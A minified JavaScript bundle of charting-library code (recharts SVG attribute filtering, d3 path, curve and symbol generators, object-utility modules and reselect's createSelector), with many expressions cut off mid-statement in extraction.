bq=["aria-activedescendant","aria-atomic","aria-autocomplete","aria-busy","aria-checked","aria-colcount","aria-colindex","aria-colspan","aria-controls","aria-current","aria-describedby","aria-details","aria-disabled","aria-errormessage","aria-expanded","aria-flowto","aria-haspopup","aria-hidden","aria-invalid","aria-keyshortcuts","aria-label","aria-labelledby","aria-level","aria-live","aria-modal","aria-multiline","aria-multiselectable","aria-orientation","aria-owns","aria-placeholder","aria-posinset","aria-pressed","aria-readonly","aria-relevant","aria-required","aria-roledescription","aria-rowcount","aria-rowindex","aria-rowspan","aria-selected","aria-setsize","aria-sort","aria-valuemax","aria-valuemin","aria-valuenow","aria-valuetext","className","color","height","id","lang","max","media","method","min","name","style","target","width","role","tabIndex","accentHeight","accumulate","additive","alignmentBaseline","allowReorder","alphabetic","amplitude","arabicForm","ascent","attributeName","attributeType","autoReverse","azimuth","baseFrequency","baselineShift","baseProfile","bbox","begin","bias","by","calcMode","capHeight","clip","clipPath","clipPathUnits","clipRule","colorInterpolation","colorInterpolationFilters","colorProfile","colorRendering","contentScriptType","contentStyleType","cursor","cx","cy","d","decelerate","descent","diffuseConstant","direction","display","divisor","dominantBaseline","dur","dx","dy","edgeMode","elevation","enableBackground","end","exponent","externalResourcesRequired","fill","fillOpacity","fillRule","filter","filterRes","filterUnits","floodColor","floodOpacity","focusable","fontFamily","fontSize","fontSizeAdjust","fontStretch","fontStyle","fontVariant","fontWeight","format","from","fx","fy","g1","g2","glyphName","glyphOrientationHorizontal","glyphOrientationVertical","glyphRef","gradientTransform","gradientUnits","hanging","horizAdvX","horizOriginX","href","ideographic","imageRendering","in2","in","intercept","k1","k2","k3","k4","k","kernelMatrix","kernelUnitLength","kerning","keyPoints","keySplines","keyTimes","lengthAdjust","letterSpacing","lightingColor","limitingConeAngle","local","markerEnd","markerHeight","markerMid","markerStart","markerUnits","markerWidth","mask","maskContentUnits","maskUnits","mathematical","mode","numOctaves","offset","opacity","operator","order","orient","orientation","origin","overflow","overlinePosition","overlineThickness","paintOrder","panose1","pathLength","patternContentUnits","patternTransform","patternUnits","pointerEvents","pointsAtX","pointsAtY","pointsAtZ","preserveAlpha","preserveAspectRatio","primitiveUnits","r","radius","refX","refY","renderingIntent","repeatCount","repeatDur","requiredExtensions","requiredFeatures","restart","result","rotate","rx","ry","seed","shapeRendering","slope","spacing","specularConstant","specularExponent","speed","spreadMethod","startOffset","stdDeviation","stemh","stemv","stitchTiles","stopColor","stopOpacity","strikethroughPosition","strikethroughThickness","string","stroke","strokeDasharray","strokeDashoffset","strokeLinecap","strokeLinejoin","strokeMiterlimit","strokeOpacity","strokeWidth","surfaceScale","systemLanguage","tableValues","targetX","targetY","textAnchor","textDecoration","textLength","textRendering","to","transform","u1","u2","underlinePosition","underlineThickness","unicode","unicodeBidi","unicodeRange","unitsPerEm","vAlphabetic","values","vectorEffect","version","vertAdvY","vertOriginX","vertOriginY","vHanging","vIdeographic","viewTarget","visibility","vMathematical","widths","wordSpacing","writingMode","x1","x2","x","xChannelSelector","xHeight","xlinkActuate","xlinkArcrole","xlinkHref","xlinkRole","xlinkShow","xlinkTitle","xlinkType","xmlBase","xmlLang","xmlns","xmlnsXlink","xmlSpace","y1","y2","y","yChannelSelector","z","zoomAndPan","ref","key","angle"],xq=new Set(bq);function WP(e){return typeof e!="string"?!1:xq.has(e)}function XP(e){return typeof e=="string"&&e.startsWith("data-")}function Ur(e){if(typeof e!="object"||e===null)return{};var t={};for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(WP(n)||XP(n))&&(t[n]=e[n]);return t}function Ec(e){if(e==null)return null;if(v.isValidElement(e)&&typeof e.props=="object"&&e.props!==null){var t=e.props;return Ur(t)}return typeof e=="object"&&!Array.isArray(e)?Ur(e):null}function ur(e){var t={};for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(WP(n)||XP(n)||ix(n))&&(t[n]=e[n]);return t}var wq=["children","width","height","viewBox","className","style","title","desc"];function E0(){return E0=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:n,width:r,height:i,viewBox:l,className:c,style:u,title:f,desc:h}=e,p=Sq(e,wq),m=l||{width:r,height:i,x:0,y:0},y=Ye("recharts-surface",c);return v.createElement("svg",E0({},ur(p),{className:y,width:r,height:i,style:u,viewBox:"".concat(m.x," ").concat(m.y," ").concat(m.width," ").concat(m.height),ref:t}),v.createElement("title",null,f),v.createElement("desc",null,h),n)}),Eq=["children","className"];function A0(){return A0=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:n,className:r}=e,i=Aq(e,Eq),l=Ye("recharts-layer",r);return v.createElement("g",A0({className:l},ur(i),{ref:t}),n)}),_q=v.createContext(null);function rt(e){return function(){return e}}const QP=Math.cos,Md=Math.sin,Cr=Math.sqrt,jd=Math.PI,Kh=2*jd,C0=Math.PI,_0=2*C0,Gi=1e-6,Tq=_0-Gi;function JP(e){this._+=e[0];for(let t=1,n=e.length;t=0))throw new Error(`invalid digits: ${e}`);if(t>15)return JP;const n=10**t;return function(r){this._+=r[0];for(let i=1,l=r.length;iGi)if(!(Math.abs(m*f-h*p)>Gi)||!l)this._append`L${this._x1=t},${this._y1=n}`;else{let x=r-c,S=i-u,w=f*f+h*h,O=x*x+S*S,A=Math.sqrt(w),_=Math.sqrt(y),T=l*Math.tan((C0-Math.acos((w+y-O)/(2*A*_)))/2),j=T/_,M=T/A;Math.abs(j-1)>Gi&&this._append`L${t+j*p},${n+j*m}`,this._append`A${l},${l},0,0,${+(m*x>p*S)},${this._x1=t+M*f},${this._y1=n+M*h}`}}arc(t,n,r,i,l,c){if(t=+t,n=+n,r=+r,c=!!c,r<0)throw new Error(`negative radius: ${r}`);let u=r*Math.cos(i),f=r*Math.sin(i),h=t+u,p=n+f,m=1^c,y=c?i-l:l-i;this._x1===null?this._append`M${h},${p}`:(Math.abs(this._x1-h)>Gi||Math.abs(this._y1-p)>Gi)&&this._append`L${h},${p}`,r&&(y<0&&(y=y%_0+_0),y>Tq?this._append`A${r},${r},0,1,${m},${t-u},${n-f}A${r},${r},0,1,${m},${this._x1=h},${this._y1=p}`:y>Gi&&this._append`A${r},${r},0,${+(y>=C0)},${m},${this._x1=t+r*Math.cos(l)},${this._y1=n+r*Math.sin(l)}`)}rect(t,n,r,i){this._append`M${this._x0=this._x1=+t},${this._y0=this._y1=+n}h${r=+r}v${+i}h${-r}Z`}toString(){return this._}}function ox(e){let t=3;return e.digits=function(n){if(!arguments.length)return t;if(n==null)t=null;else{const r=Math.floor(n);if(!(r>=0))throw new RangeError(`invalid digits: ${n}`);t=r}return e},()=>new Mq(t)}function lx(e){return typeof e=="object"&&"length"in e?e:Array.from(e)}function eR(e){this._context=e}eR.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:this._context.lineTo(e,t);break}}};function Yh(e){return new eR(e)}function tR(e){return e[0]}function nR(e){return e[1]}function rR(e,t){var n=rt(!0),r=null,i=Yh,l=null,c=ox(u);e=typeof e=="function"?e:e===void 0?tR:rt(e),t=typeof t=="function"?t:t===void 0?nR:rt(t);function u(f){var h,p=(f=lx(f)).length,m,y=!1,x;for(r==null&&(l=i(x=c())),h=0;h<=p;++h)!(h=x;--S)u.point(T[S],j[S]);u.lineEnd(),u.areaEnd()}A&&(T[y]=+e(O,y,m),j[y]=+t(O,y,m),u.point(r?+r(O,y,m):T[y],n?+n(O,y,m):j[y]))}if(_)return u=null,_+""||null}function p(){return rR().defined(i).curve(c).context(l)}return h.x=function(m){return arguments.length?(e=typeof m=="function"?m:rt(+m),r=null,h):e},h.x0=function(m){return arguments.length?(e=typeof m=="function"?m:rt(+m),h):e},h.x1=function(m){return arguments.length?(r=m==null?null:typeof m=="function"?m:rt(+m),h):r},h.y=function(m){return arguments.length?(t=typeof m=="function"?m:rt(+m),n=null,h):t},h.y0=function(m){return arguments.length?(t=typeof m=="function"?m:rt(+m),h):t},h.y1=function(m){return arguments.length?(n=m==null?null:typeof m=="function"?m:rt(+m),h):n},h.lineX0=h.lineY0=function(){return p().x(e).y(t)},h.lineY1=function(){return p().x(e).y(n)},h.lineX1=function(){return p().x(r).y(t)},h.defined=function(m){return arguments.length?(i=typeof m=="function"?m:rt(!!m),h):i},h.curve=function(m){return arguments.length?(c=m,l!=null&&(u=c(l)),h):c},h.context=function(m){return arguments.length?(m==null?l=u=null:u=c(l=m),h):l},h}class aR{constructor(t,n){this._context=t,this._x=n}areaStart(){this._line=0}areaEnd(){this._line=NaN}lineStart(){this._point=0}lineEnd(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line}point(t,n){switch(t=+t,n=+n,this._point){case 0:{this._point=1,this._line?this._context.lineTo(t,n):this._context.moveTo(t,n);break}case 1:this._point=2;default:{this._x?this._context.bezierCurveTo(this._x0=(this._x0+t)/2,this._y0,this._x0,n,t,n):this._context.bezierCurveTo(this._x0,this._y0=(this._y0+n)/2,t,this._y0,t,n);break}}this._x0=t,this._y0=n}}function jq(e){return new aR(e,!0)}function Pq(e){return new aR(e,!1)}const sx={draw(e,t){const n=Cr(t/jd);e.moveTo(n,0),e.arc(0,0,n,0,Kh)}},Rq={draw(e,t){const n=Cr(t/5)/2;e.moveTo(-3*n,-n),e.lineTo(-n,-n),e.lineTo(-n,-3*n),e.lineTo(n,-3*n),e.lineTo(n,-n),e.lineTo(3*n,-n),e.lineTo(3*n,n),e.lineTo(n,n),e.lineTo(n,3*n),e.lineTo(-n,3*n),e.lineTo(-n,n),e.lineTo(-3*n,n),e.closePath()}},iR=Cr(1/3),Dq=iR*2,kq={draw(e,t){const n=Cr(t/Dq),r=n*iR;e.moveTo(0,-n),e.lineTo(r,0),e.lineTo(0,n),e.lineTo(-r,0),e.closePath()}},Lq={draw(e,t){const n=Cr(t),r=-n/2;e.rect(r,r,n,n)}},Iq=.8908130915292852,oR=Md(jd/10)/Md(7*jd/10),zq=Md(Kh/10)*oR,$q=-QP(Kh/10)*oR,Bq={draw(e,t){const n=Cr(t*Iq),r=zq*n,i=$q*n;e.moveTo(0,-n),e.lineTo(r,i);for(let l=1;l<5;++l){const c=Kh*l/5,u=QP(c),f=Md(c);e.lineTo(f*n,-u*n),e.lineTo(u*r-f*i,f*r+u*i)}e.closePath()}},_g=Cr(3),Uq={draw(e,t){const n=-Cr(t/(_g*3));e.moveTo(0,n*2),e.lineTo(-_g*n,-n),e.lineTo(_g*n,-n),e.closePath()}},nr=-.5,rr=Cr(3)/2,T0=1/Cr(12),Hq=(T0/2+1)*3,qq={draw(e,t){const n=Cr(t/Hq),r=n/2,i=n*T0,l=r,c=n*T0+n,u=-l,f=c;e.moveTo(r,i),e.lineTo(l,c),e.lineTo(u,f),e.lineTo(nr*r-rr*i,rr*r+nr*i),e.lineTo(nr*l-rr*c,rr*l+nr*c),e.lineTo(nr*u-rr*f,rr*u+nr*f),e.lineTo(nr*r+rr*i,nr*i-rr*r),e.lineTo(nr*l+rr*c,nr*c-rr*l),e.lineTo(nr*u+rr*f,nr*f-rr*u),e.closePath()}};function Fq(e,t){let n=null,r=ox(i);e=typeof e=="function"?e:rt(e||sx),t=typeof t=="function"?t:rt(t===void 0?64:+t);function i(){let l;if(n||(n=l=r()),e.apply(this,arguments).draw(n,+t.apply(this,arguments)),l)return n=null,l+""||null}return i.type=function(l){return arguments.length?(e=typeof l=="function"?l:rt(l),i):e},i.size=function(l){return arguments.length?(t=typeof l=="function"?l:rt(+l),i):t},i.context=function(l){return arguments.length?(n=l??null,i):n},i}function Pd(){}function Rd(e,t,n){e._context.bezierCurveTo((2*e._x0+e._x1)/3,(2*e._y0+e._y1)/3,(e._x0+2*e._x1)/3,(e._y0+2*e._y1)/3,(e._x0+4*e._x1+t)/6,(e._y0+4*e._y1+n)/6)}function lR(e){this._context=e}lR.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){switch(this._point){case 3:Rd(this,this._x1,this._y1);case 2:this._context.lineTo(this._x1,this._y1);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,this._context.lineTo((5*this._x0+this._x1)/6,(5*this._y0+this._y1)/6);default:Rd(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function Vq(e){return new lR(e)}function sR(e){this._context=e}sR.prototype={areaStart:Pd,areaEnd:Pd,lineStart:function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._y0=this._y1=this._y2=this._y3=this._y4=NaN,this._point=0},lineEnd:function(){switch(this._point){case 1:{this._context.moveTo(this._x2,this._y2),this._context.closePath();break}case 2:{this._context.moveTo((this._x2+2*this._x3)/3,(this._y2+2*this._y3)/3),this._context.lineTo((this._x3+2*this._x2)/3,(this._y3+2*this._y2)/3),this._context.closePath();break}case 3:{this.point(this._x2,this._y2),this.point(this._x3,this._y3),this.point(this._x4,this._y4);break}}},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._x2=e,this._y2=t;break;case 1:this._point=2,this._x3=e,this._y3=t;break;case 2:this._point=3,this._x4=e,this._y4=t,this._context.moveTo((this._x0+4*this._x1+e)/6,(this._y0+4*this._y1+t)/6);break;default:Rd(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function Kq(e){return new sR(e)}function cR(e){this._context=e}cR.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===3)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3;var n=(this._x0+4*this._x1+e)/6,r=(this._y0+4*this._y1+t)/6;this._line?this._context.lineTo(n,r):this._context.moveTo(n,r);break;case 3:this._point=4;default:Rd(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function Yq(e){return new cR(e)}function uR(e){this._context=e}uR.prototype={areaStart:Pd,areaEnd:Pd,lineStart:function(){this._point=0},lineEnd:function(){this._point&&this._context.closePath()},point:function(e,t){e=+e,t=+t,this._point?this._context.lineTo(e,t):(this._point=1,this._context.moveTo(e,t))}};function Gq(e){return new uR(e)}function wC(e){return e<0?-1:1}function SC(e,t,n){var r=e._x1-e._x0,i=t-e._x1,l=(e._y1-e._y0)/(r||i<0&&-0),c=(n-e._y1)/(i||r<0&&-0),u=(l*i+c*r)/(r+i);return(wC(l)+wC(c))*Math.min(Math.abs(l),Math.abs(c),.5*Math.abs(u))||0}function OC(e,t){var n=e._x1-e._x0;return n?(3*(e._y1-e._y0)/n-t)/2:t}function Tg(e,t,n){var r=e._x0,i=e._y0,l=e._x1,c=e._y1,u=(l-r)/3;e._context.bezierCurveTo(r+u,i+u*t,l-u,c-u*n,l,c)}function Dd(e){this._context=e}Dd.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=this._t0=NaN,this._point=0},lineEnd:function(){switch(this._point){case 2:this._context.lineTo(this._x1,this._y1);break;case 3:Tg(this,this._t0,OC(this,this._t0));break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){var n=NaN;if(e=+e,t=+t,!(e===this._x1&&t===this._y1)){switch(this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,Tg(this,OC(this,n=SC(this,e,t)),n);break;default:Tg(this,this._t0,n=SC(this,e,t));break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t,this._t0=n}}};function fR(e){this._context=new dR(e)}(fR.prototype=Object.create(Dd.prototype)).point=function(e,t){Dd.prototype.point.call(this,t,e)};function dR(e){this._context=e}dR.prototype={moveTo:function(e,t){this._context.moveTo(t,e)},closePath:function(){this._context.closePath()},lineTo:function(e,t){this._context.lineTo(t,e)},bezierCurveTo:function(e,t,n,r,i,l){this._context.bezierCurveTo(t,e,r,n,l,i)}};function Wq(e){return new Dd(e)}function Xq(e){return new fR(e)}function hR(e){this._context=e}hR.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x=[],this._y=[]},lineEnd:function(){var e=this._x,t=this._y,n=e.length;if(n)if(this._line?this._context.lineTo(e[0],t[0]):this._context.moveTo(e[0],t[0]),n===2)this._context.lineTo(e[1],t[1]);else for(var r=EC(e),i=EC(t),l=0,c=1;c=0;--t)i[t]=(c[t]-i[t+1])/l[t];for(l[n-1]=(e[n]+i[n-1])/2,t=0;t=0&&(this._t=1-this._t,this._line=1-this._line)},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:{if(this._t<=0)this._context.lineTo(this._x,t),this._context.lineTo(e,t);else{var n=this._x*(1-this._t)+e*this._t;this._context.lineTo(n,this._y),this._context.lineTo(n,t)}break}}this._x=e,this._y=t}};function Qq(e){return new Gh(e,.5)}function Jq(e){return new Gh(e,0)}function eF(e){return new Gh(e,1)}function so(e,t){if((c=e.length)>1)for(var n=1,r,i,l=e[t[0]],c,u=l.length;n=0;)n[t]=t;return n}function tF(e,t){return e[t]}function nF(e){const t=[];return t.key=e,t}function rF(){var e=rt([]),t=N0,n=so,r=tF;function i(l){var c=Array.from(e.apply(this,arguments),nF),u,f=c.length,h=-1,p;for(const m of l)for(u=0,++h;u0){for(var n,r,i=0,l=e[0].length,c;i0){for(var n=0,r=e[t[0]],i,l=r.length;n0)||!((l=(i=e[t[0]]).length)>0))){for(var n=0,r=1,i,l,c;r1&&arguments[1]!==void 0?arguments[1]:fF,n=10**t,r=Math.round(e*n)/n;return Object.is(r,-0)?0:r}function gt(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r{var u=n[c-1];return typeof u=="string"?i+u+l:u!==void 0?i+yi(u)+l:i+l},"")}var tn=e=>e===0?0:e>0?1:-1,Hr=e=>typeof e=="number"&&e!=+e,Ea=e=>typeof e=="string"&&e.indexOf("%")===e.length-1,Oe=e=>(typeof e=="number"||e instanceof Number)&&!Hr(e),qr=e=>Oe(e)||typeof e=="string",dF=0,Ac=e=>{var t=++dF;return"".concat(e||"").concat(t)},on=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:0,i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1;if(!Oe(t)&&typeof t!="string")return r;var l;if(Ea(t)){if(n==null)return r;var c=t.indexOf("%");l=n*parseFloat(t.slice(0,c))/100}else l=+t;return Hr(l)&&(l=r),i&&n!=null&&l>n&&(l=n),l},mR=e=>{if(!Array.isArray(e))return!1;for(var t=e.length,n={},r=0;rr&&(typeof t=="function"?t(r):co(r,t))===n)}var Vt=e=>e===null||typeof e>"u",Yc=e=>Vt(e)?e:"".concat(e.charAt(0).toUpperCase()).concat(e.slice(1));function pF(e){return e!=null}function Gc(){}var mF=["type","size","sizeType"];function M0(){return M0=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var t="symbol".concat(Yc(e));return vR[t]||sx},OF=(e,t,n)=>{if(t==="area")return e;switch(n){case"cross":return 5*e*e/9;case"diamond":return .5*e*e/Math.sqrt(3);case"square":return e*e;case"star":{var r=18*wF;return 1.25*e*e*(Math.tan(r)-Math.tan(r*2)*Math.tan(r)**2)}case"triangle":return Math.sqrt(3)*e*e/4;case"wye":return(21-10*Math.sqrt(3))*e*e/8;default:return Math.PI*e*e/4}},EF=(e,t)=>{vR["symbol".concat(Yc(e))]=t},gR=e=>{var{type:t="circle",size:n=64,sizeType:r="area"}=e,i=bF(e,mF),l=RC(RC({},i),{},{type:t,size:n,sizeType:r}),c="circle";typeof t=="string"&&(c=t);var u=()=>{var y=SF(c),x=Fq().type(y).size(OF(n,r,c)),S=x();if(S!==null)return S},{className:f,cx:h,cy:p}=l,m=ur(l);return Oe(h)&&Oe(p)&&Oe(n)?v.createElement("path",M0({},m,{className:Ye("recharts-symbols",f),transform:"translate(".concat(h,", ").concat(p,")"),d:u()})):null};gR.registerSymbol=EF;var yR=e=>"radius"in e&&"startAngle"in e&&"endAngle"in e,AF=(e,t)=>{if(!e||typeof e=="function"||typeof e=="boolean")return null;var n=e;if(v.isValidElement(e)&&(n=e.props),typeof n!="object"&&typeof n!="function")return null;var r={};return Object.keys(n).forEach(i=>{ix(i)&&(r[i]=(l=>n[i](n,l)))}),r},CF=(e,t,n)=>r=>(e(t,n,r),null),Wh=(e,t,n)=>{if(e===null||typeof e!="object"&&typeof e!="function")return null;var r=null;return Object.keys(e).forEach(i=>{var l=e[i];ix(i)&&typeof l=="function"&&(r||(r={}),r[i]=CF(l,t,n))}),r};function DC(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function _F(e){for(var t=1;t(c[u]===void 0&&r[u]!==void 0&&(c[u]=r[u]),c),n);return l}var Lg={},Ig={},kC;function jF(){return kC||(kC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){const i=new Map;for(let l=0;l=0}e.isLength=t})(Ug)),Ug}var zC;function dx(){return zC||(zC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=PF();function n(r){return r!=null&&typeof r!="function"&&t.isLength(r.length)}e.isArrayLike=n})(Bg)),Bg}var Hg={},$C;function RF(){return $C||($C=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="object"&&n!==null}e.isObjectLike=t})(Hg)),Hg}var BC;function DF(){return BC||(BC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=dx(),n=RF();function r(i){return n.isObjectLike(i)&&t.isArrayLike(i)}e.isArrayLikeObject=r})($g)),$g}var qg={},Fg={},UC;function kF(){return UC||(UC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=fx();function n(r){return function(i){return t.get(i,r)}}e.property=n})(Fg)),Fg}var Vg={},Kg={},Yg={},Gg={},HC;function xR(){return HC||(HC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n!==null&&(typeof n=="object"||typeof n=="function")}e.isObject=t})(Gg)),Gg}var Wg={},qC;function wR(){return qC||(qC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null||typeof n!="object"&&typeof n!="function"}e.isPrimitive=t})(Wg)),Wg}var Xg={},FC;function SR(){return FC||(FC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){return n===r||Number.isNaN(n)&&Number.isNaN(r)}e.eq=t})(Xg)),Xg}var VC;function LF(){return VC||(VC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=xR(),n=wR(),r=SR();function i(p,m,y){return typeof y!="function"?i(p,m,()=>{}):l(p,m,function x(S,w,O,A,_,T){const j=y(S,w,O,A,_,T);return j!==void 0?!!j:l(S,w,x,T)},new Map)}function l(p,m,y,x){if(m===p)return!0;switch(typeof m){case"object":return c(p,m,y,x);case"function":return Object.keys(m).length>0?l(p,{...m},y,x):r.eq(p,m);default:return t.isObject(p)?typeof m=="string"?m==="":!0:r.eq(p,m)}}function c(p,m,y,x){if(m==null)return!0;if(Array.isArray(m))return f(p,m,y,x);if(m instanceof Map)return u(p,m,y,x);if(m instanceof Set)return h(p,m,y,x);const S=Object.keys(m);if(p==null||n.isPrimitive(p))return S.length===0;if(S.length===0)return!0;if(x?.has(m))return x.get(m)===p;x?.set(m,p);try{for(let w=0;w{})}e.isMatch=n})(Kg)),Kg}var Zg={},Qg={},Jg={},YC;function IF(){return YC||(YC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Object.getOwnPropertySymbols(n).filter(r=>Object.prototype.propertyIsEnumerable.call(n,r))}e.getSymbols=t})(Jg)),Jg}var ey={},GC;function ER(){return GC||(GC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null?n===void 0?"[object Undefined]":"[object Null]":Object.prototype.toString.call(n)}e.getTag=t})(ey)),ey}var ty={},WC;function AR(){return WC||(WC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t="[object RegExp]",n="[object String]",r="[object Number]",i="[object Boolean]",l="[object Arguments]",c="[object Symbol]",u="[object Date]",f="[object Map]",h="[object Set]",p="[object Array]",m="[object Function]",y="[object ArrayBuffer]",x="[object Object]",S="[object Error]",w="[object DataView]",O="[object Uint8Array]",A="[object Uint8ClampedArray]",_="[object Uint16Array]",T="[object Uint32Array]",j="[object BigUint64Array]",M="[object Int8Array]",P="[object Int16Array]",R="[object Int32Array]",I="[object BigInt64Array]",B="[object Float32Array]",q="[object Float64Array]";e.argumentsTag=l,e.arrayBufferTag=y,e.arrayTag=p,e.bigInt64ArrayTag=I,e.bigUint64ArrayTag=j,e.booleanTag=i,e.dataViewTag=w,e.dateTag=u,e.errorTag=S,e.float32ArrayTag=B,e.float64ArrayTag=q,e.functionTag=m,e.int16ArrayTag=P,e.int32ArrayTag=R,e.int8ArrayTag=M,e.mapTag=f,e.numberTag=r,e.objectTag=x,e.regexpTag=t,e.setTag=h,e.stringTag=n,e.symbolTag=c,e.uint16ArrayTag=_,e.uint32ArrayTag=T,e.uint8ArrayTag=O,e.uint8ClampedArrayTag=A})(ty)),ty}var ny={},XC;function zF(){return XC||(XC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return ArrayBuffer.isView(n)&&!(n instanceof DataView)}e.isTypedArray=t})(ny)),ny}var ZC;function CR(){return ZC||(ZC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=IF(),n=ER(),r=AR(),i=wR(),l=zF();function c(p,m){return u(p,void 0,p,new Map,m)}function u(p,m,y,x=new Map,S=void 0){const w=S?.(p,m,y,x);if(w!==void 0)return w;if(i.isPrimitive(p))return p;if(x.has(p))return x.get(p);if(Array.isArray(p)){const O=new Array(p.length);x.set(p,O);for(let A=0;At.isMatch(l,i)}e.matches=r})(Vg)),Vg}var ry={},ay={},iy={},e_;function UF(){return e_||(e_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=CR(),n=AR();function r(i,l){return t.cloneDeepWith(i,(c,u,f,h)=>{const p=l?.(c,u,f,h);if(p!==void 0)return p;if(typeof i=="object")switch(Object.prototype.toString.call(i)){case n.numberTag:case n.stringTag:case n.booleanTag:{const m=new i.constructor(i?.valueOf());return t.copyProperties(m,i),m}case n.argumentsTag:{const m={};return t.copyProperties(m,i),m.length=i.length,m[Symbol.iterator]=i[Symbol.iterator],m}default:return}})}e.cloneDeepWith=r})(iy)),iy}var t_;function HF(){return t_||(t_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=UF();function n(r){return t.cloneDeepWith(r)}e.cloneDeep=n})(ay)),ay}var oy={},ly={},n_;function _R(){return n_||(n_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=/^(?:0|[1-9]\d*)$/;function n(r,i=Number.MAX_SAFE_INTEGER){switch(typeof r){case"number":return Number.isInteger(r)&&r>=0&&re,ft=()=>{var e=v.useContext(hx);return e?e.store.dispatch:eV},dd=()=>{},tV=()=>dd,nV=(e,t)=>e===t;function we(e){var t=v.useContext(hx);return JF.useSyncExternalStoreWithSelector(t?t.subscription.addNestedSub:tV,t?t.store.getState:dd,t?t.store.getState:dd,t?e:dd,nV)}function rV(e,t=`expected a function, instead received ${typeof e}`){if(typeof e!="function")throw new TypeError(t)}function aV(e,t=`expected an object, instead received ${typeof e}`){if(typeof e!="object")throw new TypeError(t)}function iV(e,t="expected all items to be functions, instead received the following types: "){if(!e.every(n=>typeof n=="function")){const n=e.map(r=>typeof r=="function"?`function ${r.name||"unnamed"}()`:typeof r).join(", ");throw new TypeError(`${t}[${n}]`)}}var d_=e=>Array.isArray(e)?e:[e];function oV(e){const t=Array.isArray(e[0])?e[0]:e;return iV(t,"createSelector expects all input-selectors to be functions, but received the following types: "),t}function lV(e,t){const n=[],{length:r}=e;for(let i=0;i{n=Kf(),c.resetResultsCount()},c.resultsCount=()=>l,c.resetResultsCount=()=>{l=0},c}function fV(e,...t){const n=typeof e=="function"?{memoize:e,memoizeOptions:t}:e,r=(...i)=>{let l=0,c=0,u,f={},h=i.pop();typeof h=="object"&&(f=h,h=i.pop()),rV(h,`createSelector expects an output function after the inputs, but received: [${typeof h}]`);const p={...n,...f},{memoize:m,memoizeOptions:y=[],argsMemoize:x=TR,argsMemoizeOptions:S=[]}=p,w=d_(y),O=d_(S),A=oV(i),_=m(function(){return l++,h.apply(null,arguments)},...w),T=x(function(){c++;const M=lV(A,arguments);return u=_.apply(null,M),u},...O);return 